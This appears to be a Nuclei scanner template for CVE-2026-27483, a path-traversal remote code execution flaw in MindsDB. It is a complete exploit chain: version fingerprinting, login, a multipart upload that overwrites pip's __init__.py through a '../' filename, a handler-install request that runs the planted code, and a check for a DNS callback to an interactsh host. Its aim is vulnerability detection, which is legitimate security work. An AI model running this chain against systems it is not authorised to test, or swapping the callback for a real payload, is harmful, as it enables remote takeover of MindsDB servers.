id: CVE-2026-27483 info: name: MindsDB - Remote Code Execution author: thewhiteh4t severity: high description: | MindsDB < 25.9.1.1 contains a remote code execution caused by path traversal in the /api/files upload file module, letting authenticated attackers write arbitrary files and execute commands, exploit requires authentication. impact: | Authenticated attackers can execute arbitrary commands remotely by writing files to arbitrary paths on the server. remediation: | Upgrade to version 25.9.1.1 or later. reference: - https://github.com/mindsdb/mindsdb/security/advisories/GHSA-4894-xqv6-vrfq - https://github.com/mindsdb/mindsdb/commit/87a44bdb2b97f963e18f10a068e1a1e2690505ef - https://github.com/mindsdb/mindsdb/releases/tag/v25.9.1.1 - https://nvd.nist.gov/vuln/detail/CVE-2026-27483 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2026-27483 epss-score: 0.23286 epss-percentile: 0.96084 cwe-id: CWE-22 metadata: verified: true max-request: 5 vendor: MindsDB product: MindsDB shodan-query: http.title:"MindsDB" tags: cve,cve2026,mindsdb,path-traversal,rce,oast,intrusive,unauth variables: token: "" username: "" password: "" filename: "{{randstr}}" flow: http(1) && http(2) && http(3) && http(4) && http(5) http: - method: GET path: - "{{BaseURL}}/api/status" extractors: - type: regex name: mindsdb_version part: body group: 1 regex: - '"mindsdb_version":\s*"([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)' internal: true - type: regex name: http_auth_enabled part: body group: 1 regex: - '"http_auth_enabled":\s*(true|false)' internal: true matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "mindsdb_version")' - 'compare_versions(mindsdb_version, ">= 25.4.1.0", "< 25.9.1.1")' condition: and internal: true - raw: - | POST /api/login HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"username":"{{username}}","password":"{{password}}"} matchers: - type: dsl dsl: - 'status_code == 200 && contains(body, "token")' - 'status_code == 400 && contains(body, "Error in username or password")' condition: or internal: true extractors: - type: regex name: token part: body group: 1 regex: - '{"token":\s*"([^"]+)"' internal: true - raw: - | PUT /api/files/{{filename}} HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv9dZC0cAHLlHSHD9 Authorization: Bearer {{token}} Connection: close ------WebKitFormBoundaryv9dZC0cAHLlHSHD9 Content-Disposition: form-data; name="name" {{filename}} ------WebKitFormBoundaryv9dZC0cAHLlHSHD9 Content-Disposition: form-data; name="source" {{filename}} ------WebKitFormBoundaryv9dZC0cAHLlHSHD9 Content-Disposition: form-data; name="source_type" file ------WebKitFormBoundaryv9dZC0cAHLlHSHD9 Content-Disposition: form-data; name="file"; filename="../../../../../../venv/lib/python3.10/site-packages/pip/__init__.py" Content-Type: text/plain import urllib.request urllib.request.urlopen('http://{{interactsh-url}}') ------WebKitFormBoundaryv9dZC0cAHLlHSHD9-- matchers: - type: dsl dsl: - 'status_code == 400' - 'contains(body, "Not supported format")' condition: and internal: true - raw: - | POST /api/handlers/anomaly_detection/install HTTP/1.1 Host: {{Hostname}} Authorization: Bearer {{token}} Content-Type: application/json matchers: - type: dsl dsl: - 'status_code == 500' - 'contains(body, "Failed to install dependencies")' condition: and internal: true - method: GET path: - "{{BaseURL}}/api/status" matchers-condition: and matchers: - type: status status: - 200 - type: word part: body words: - "mindsdb_version" - type: word part: interactsh_protocol words: - "dns" # digest: 4b0a00483046022100ff5756e55e492f8a899c861484fc40c5fd1c3d93ec442ed78b1a46e3f0e05ebe02210090db57245571e19f8ecdd26906869adc51b955727b239f1d21419cdd93a26bf5:922c64590222798bb761d5b6d8e72950